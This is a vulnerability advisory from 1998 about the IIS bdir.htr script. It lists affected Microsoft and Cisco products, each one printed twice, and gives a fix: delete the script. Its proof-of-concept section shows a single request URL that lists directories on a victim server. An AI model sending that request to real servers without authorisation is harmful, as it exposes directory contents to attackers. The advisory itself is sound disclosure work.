Microsoft IIS 3.0/4.0 Upgrade BDIR.HTR Vulnerability

BID:2280

Info

Microsoft IIS 3.0/4.0 Upgrade BDIR.HTR Vulnerability

Bugtraq ID: 2280
Class: Access Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Dec 25 1998 12:00AM
Updated: Dec 25 1998 12:00AM
Credit: Originally disclosed in Phrack Magazine issue 54 by rain forest puppy.
Vulnerable: Microsoft IIS 4.0
+ Cisco Building Broadband Service Manager (BBSM) 5.0
+ Cisco Building Broadband Service Manager (BBSM) 5.0
+ Cisco Call Manager 3.0
+ Cisco Call Manager 3.0
+ Cisco Call Manager 2.0
+ Cisco Call Manager 2.0
+ Cisco Call Manager 1.0
+ Cisco Call Manager 1.0
+ Cisco ICS 7750
+ Cisco ICS 7750
+ Cisco IP/VC 3540 Video Rate Matching Module
+ Cisco IP/VC 3540 Video Rate Matching Module
+ Cisco Unity Server 2.4
+ Cisco Unity Server 2.4
+ Cisco Unity Server 2.3
+ Cisco Unity Server 2.3
+ Cisco Unity Server 2.2
+ Cisco Unity Server 2.2
+ Cisco Unity Server 2.0
+ Cisco Unity Server 2.0
+ Cisco uOne 4.0
+ Cisco uOne 4.0
+ Cisco uOne 3.0
+ Cisco uOne 3.0
+ Cisco uOne 2.0
+ Cisco uOne 2.0
+ Cisco uOne 1.0
+ Cisco uOne 1.0
+ Hancom Hancom Office 2007 0
+ Hancom Hancom Office 2007 0
+ Microsoft BackOffice 4.5
+ Microsoft BackOffice 4.5
+ Microsoft Windows NT 4.0 Option Pack
+ Microsoft Windows NT 4.0 Option Pack
Microsoft IIS 3.0
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0
Not Vulnerable:

Exploit / POC

Microsoft IIS 3.0/4.0 Upgrade BDIR.HTR Vulnerability

This can be exploited by requesting the following from the web server:

http://victim/scripts/iisadmin/bdir.htr??<path>

eg.,

http://www.victim-host.xxx/scripts/iisadmin/bdir.htr??d:\webs

Solution / Fix

Microsoft IIS 3.0/4.0 Upgrade BDIR.HTR Vulnerability

Solution:
Delete the script bdir.htr, it is not required for normal system function.

References

Microsoft IIS 3.0/4.0 Upgrade BDIR.HTR Vulnerability

References:
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